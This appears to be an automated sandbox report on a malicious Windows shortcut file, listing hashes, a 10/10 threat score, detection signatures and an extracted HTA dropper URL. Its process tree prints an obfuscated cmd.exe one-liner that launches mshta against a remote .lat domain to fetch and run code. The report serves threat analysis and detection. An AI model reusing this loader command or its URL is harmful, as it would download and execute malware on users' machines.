Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-KBMH9D.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-KBMH9D.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-KBMH9D.lnk
- Size 1KB
- Sample260803-qs3mjsck6t
- SHA256 7a18fbfc22a14aaeedd0adc6a1f79b87a58b3d0bbd3e5c78f4573ceaf0d5ae04
- MD5 31387456da826f5ffa3eb2ac803dae0c
- SHA1 15d8853c1768a1de0d990bf46af247aee5973fa6
- SHA512 c8d73fe3071651c586f635a313e85d76e25d00cc091bd261253425c6486c633436c1860fa693699a60479c1ecefe9644b0a2d3a35d5b212ee5d533f662c329a3
- TLSH T10D3197402FF90614F3B39E3384BB5B2088BBB8668E20C61D0141460C5432A04E97BF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4148 cmd.exe 292 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4148 wrote to memory of 292 4148 cmd.exe 90 PID 292 wrote to memory of 248 292 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KBMH9D.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set WFdJf=msh&&set cjt=ta&&start "" !WFdJf!!cjt! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:248
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